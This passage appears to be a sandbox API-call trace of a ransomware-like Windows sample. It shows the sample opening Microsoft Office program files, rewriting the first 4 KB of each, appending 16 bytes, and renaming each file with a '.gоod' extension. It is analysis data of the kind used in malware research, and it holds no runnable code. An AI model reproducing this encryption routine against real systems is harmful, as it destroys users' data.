[0147.331] CloseHandle (hObject=0x650) returned 1 [0147.331] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.zip", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.zip", lpFilePart=0x0) returned 0x4c [0147.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0147.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\microsoft.lync.utilities.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0147.331] GetFileType (hFile=0x650) returned 0x1 [0147.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0147.331] GetFileType (hFile=0x650) returned 0x1 [0147.331] ReadFile (in: hFile=0x650, lpBuffer=0x383d8f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x383d8f0*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0148.846] CloseHandle (hObject=0x650) returned 1 [0148.846] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.zip", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.zip", lpFilePart=0x0) returned 0x4c [0148.846] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0148.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\microsoft.lync.utilities.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0148.846] GetFileType (hFile=0x650) returned 0x1 [0148.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0148.846] GetFileType (hFile=0x650) returned 0x1 [0148.846] WriteFile (in: hFile=0x650, lpBuffer=0x36c9838*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x36c9838*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0148.846] CloseHandle (hObject=0x650) returned 1 [0148.847] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.zip", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.zip", lpFilePart=0x0) returned 0x4c [0148.847] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.zip.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.zip.gоod", lpFilePart=0x0) returned 0x51 [0148.847] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0148.847] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\microsoft.lync.utilities.zip"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x54efe684, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1136c)) returned 1 [0148.847] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0148.847] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\microsoft.lync.utilities.zip"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.zip.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\microsoft.lync.utilities.zip.gоod")) returned 1 [0148.848] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\misc.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\misc.exe", lpFilePart=0x0) returned 0x38 [0148.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0148.848] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\misc.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\misc.exe"), fInfoLevelId=0x0, lpFileInformation=0x37747b8 | out: lpFileInformation=0x37747b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda6387a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd42039, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfaea8)) returned 1 [0148.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0148.848] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\misc.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\misc.exe", lpFilePart=0x0) returned 0x38 [0148.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0148.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\misc.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\misc.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0148.849] GetFileType (hFile=0x650) returned 0x1 [0148.849] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0148.849] GetFileType (hFile=0x650) returned 0x1 [0148.849] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0148.849] ReadFile (in: hFile=0x650, lpBuffer=0x3774b90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x3774b90*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0149.192] CloseHandle (hObject=0x650) returned 1 [0149.192] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\misc.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\misc.exe", lpFilePart=0x0) returned 0x38 [0149.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0149.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\misc.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\misc.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0149.235] GetFileType (hFile=0x650) returned 0x1 [0149.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0149.235] GetFileType (hFile=0x650) returned 0x1 [0149.235] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0xfaea8 [0149.235] WriteFile (in: hFile=0x650, lpBuffer=0x3886668*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3886668*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0149.237] CloseHandle (hObject=0x650) returned 1 [0149.237] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\misc.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\misc.exe", lpFilePart=0x0) returned 0x38 [0149.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0149.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\misc.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\misc.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0149.237] GetFileType (hFile=0x650) returned 0x1 [0149.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0149.237] GetFileType (hFile=0x650) returned 0x1 [0149.237] ReadFile (in: hFile=0x650, lpBuffer=0x3888908, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3888908*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0149.267] CloseHandle (hObject=0x650) returned 1 [0149.267] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\misc.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\misc.exe", lpFilePart=0x0) returned 0x38 [0149.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0149.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\misc.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\misc.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0149.267] GetFileType (hFile=0x650) returned 0x1 [0149.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0149.267] GetFileType (hFile=0x650) returned 0x1 [0149.268] WriteFile (in: hFile=0x650, lpBuffer=0x3887680*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x3887680*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0149.268] CloseHandle (hObject=0x650) returned 1 [0149.268] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\misc.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\misc.exe", lpFilePart=0x0) returned 0x38 [0149.268] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\misc.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\misc.exe.gоod", lpFilePart=0x0) returned 0x3d [0149.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0149.268] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\misc.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\misc.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda6387a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd42039, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x55302c79, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xfaeb8)) returned 1 [0149.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0149.268] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\misc.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\misc.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\misc.exe.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\misc.exe.gоod")) returned 1 [0149.269] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MML2OMML.XSL", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MML2OMML.XSL", lpFilePart=0x0) returned 0x3c [0149.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0149.269] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MML2OMML.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mml2omml.xsl"), fInfoLevelId=0x0, lpFileInformation=0x3905d10 | out: lpFileInformation=0x3905d10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda6387a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda6387a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b22ac67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x25f87)) returned 1 [0149.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0149.269] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MML2OMML.XSL", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MML2OMML.XSL", lpFilePart=0x0) returned 0x3c [0149.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0149.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MML2OMML.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mml2omml.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0149.270] GetFileType (hFile=0x650) returned 0x1 [0149.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0149.434] GetFileType (hFile=0x650) returned 0x1 [0149.434] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0149.434] ReadFile (in: hFile=0x650, lpBuffer=0x379df40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x379df40*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0149.435] CloseHandle (hObject=0x650) returned 1 [0149.435] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MML2OMML.XSL", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MML2OMML.XSL", lpFilePart=0x0) returned 0x3c [0149.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0149.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MML2OMML.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mml2omml.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0149.436] GetFileType (hFile=0x650) returned 0x1 [0149.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0149.436] GetFileType (hFile=0x650) returned 0x1 [0149.436] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x25f87 [0149.436] WriteFile (in: hFile=0x650, lpBuffer=0x379f1c8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x379f1c8*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0149.437] CloseHandle (hObject=0x650) returned 1 [0149.437] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MML2OMML.XSL", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MML2OMML.XSL", lpFilePart=0x0) returned 0x3c [0149.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0149.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MML2OMML.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mml2omml.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0149.437] GetFileType (hFile=0x650) returned 0x1 [0149.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0149.437] GetFileType (hFile=0x650) returned 0x1 [0149.437] ReadFile (in: hFile=0x650, lpBuffer=0x37a1478, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x37a1478*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0149.464] CloseHandle (hObject=0x650) returned 1 [0149.464] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MML2OMML.XSL", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MML2OMML.XSL", lpFilePart=0x0) returned 0x3c [0149.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0149.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MML2OMML.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mml2omml.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0149.465] GetFileType (hFile=0x650) returned 0x1 [0149.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0149.465] GetFileType (hFile=0x650) returned 0x1 [0149.465] WriteFile (in: hFile=0x650, lpBuffer=0x37a01e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x37a01e0*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0149.465] CloseHandle (hObject=0x650) returned 1 [0149.465] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MML2OMML.XSL", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MML2OMML.XSL", lpFilePart=0x0) returned 0x3c [0149.465] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MML2OMML.XSL.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MML2OMML.XSL.gоod", lpFilePart=0x0) returned 0x41 [0149.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0149.465] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MML2OMML.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mml2omml.xsl"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda6387a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda6387a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x554c95a5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x25f97)) returned 1 [0149.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0149.465] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MML2OMML.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mml2omml.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MML2OMML.XSL.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mml2omml.xsl.gоod")) returned 1 [0149.466] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.EXE", lpFilePart=0x0) returned 0x3c [0149.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0149.466] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msaccess.exe"), fInfoLevelId=0x0, lpFileInformation=0x381d9e0 | out: lpFileInformation=0x381d9e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xce758538, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdf58154c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe1708762, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13b5440)) returned 1 [0149.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0149.467] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.EXE", lpFilePart=0x0) returned 0x3c [0149.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0149.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msaccess.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0149.467] GetFileType (hFile=0x650) returned 0x1 [0149.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0149.467] GetFileType (hFile=0x650) returned 0x1 [0149.467] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0149.467] ReadFile (in: hFile=0x650, lpBuffer=0x381ddd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x381ddd8*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0149.967] CloseHandle (hObject=0x650) returned 1 [0149.967] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.EXE", lpFilePart=0x0) returned 0x3c [0149.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0149.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msaccess.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0149.967] GetFileType (hFile=0x650) returned 0x1 [0149.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0149.967] GetFileType (hFile=0x650) returned 0x1 [0149.967] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x13b5440 [0149.967] WriteFile (in: hFile=0x650, lpBuffer=0x380ee40*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x380ee40*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0149.969] CloseHandle (hObject=0x650) returned 1 [0149.969] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.EXE", lpFilePart=0x0) returned 0x3c [0149.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0149.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msaccess.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0149.969] GetFileType (hFile=0x650) returned 0x1 [0149.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0149.969] GetFileType (hFile=0x650) returned 0x1 [0149.969] ReadFile (in: hFile=0x650, lpBuffer=0x38110f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x38110f0*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0149.996] CloseHandle (hObject=0x650) returned 1 [0149.996] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.EXE", lpFilePart=0x0) returned 0x3c [0149.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0149.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msaccess.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0149.997] GetFileType (hFile=0x650) returned 0x1 [0149.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0149.997] GetFileType (hFile=0x650) returned 0x1 [0149.997] WriteFile (in: hFile=0x650, lpBuffer=0x380fe58*, nNumberOfBytesToWrite=0x1010, 